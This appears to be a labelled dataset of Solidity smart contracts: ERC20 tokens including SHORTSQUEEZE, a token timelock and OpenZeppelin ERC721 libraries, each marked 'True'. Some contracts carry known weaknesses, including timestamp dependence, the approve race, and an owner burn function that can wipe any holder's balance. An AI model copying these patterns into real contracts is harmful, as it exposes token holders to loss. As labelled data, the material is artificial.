if (msg.sender == team_address) {
require(now > start_time,"transfer timestamp: error");
}
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
require(spender != address(0));
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from != address(0));
require(to != address(0));
require(tokens > 0);
require(balances[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
if (msg.sender == team_address) {
require(now > start_time,"transfer timestamp: error");
}
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function mint(address to, uint256 tokens) public onlyOwner returns (bool success) {
require(to != address(0), "mint to the zero address");
_totalSupply = _totalSupply.add(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(address(0), to, tokens);
return true;
}
function burn(address to, uint256 tokens) public onlyOwner returns (bool success) {
require(to != address(0), "burn from the zero address");
balances[to] = balances[to].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
emit Transfer(to, address(0), tokens);
return true;
}
function changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
RATE =_rate;
emit ChangeRate(_rate);
}
function changeOpeningTime(uint256 timestamp) public onlyOwner {
require(timestamp > 0);
OPENINGTIME =timestamp;
emit ChangeOpeningTime(timestamp);
}
function changeClosingTime(uint256 timestamp) public onlyOwner {
require(timestamp > 0);
CLOSINGTIME =timestamp;
emit ChangeClosingTime(timestamp);
}
}
|
True
|
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] |
pragma solidity ^0.5.00;
// ----------------------------------------------------------------------------
// 'Shortsqueeze' token contract
//
// Deployed to : 0xaf2deB5D81e49CF16D47e443A4EfFa37115645ef
// Symbol : SQZE
// Name : SHORTSQUEEZE
// Total supply: 1000000000
// Decimals : 18
//
// Enjoy.
//
// (c) Short those lemons
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract SHORTSQUEEZE is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SQZE";
name = "SHORTSQUEEZE";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0xaf2deB5D81e49CF16D47e443A4EfFa37115645ef] = _totalSupply;
emit Transfer(address(0), 0xaf2deB5D81e49CF16D47e443A4EfFa37115645ef, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30067200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xF8c3371387aA7DF0777144D7DB1D1AE61C378F35;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
}
|
True
|
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102
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/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
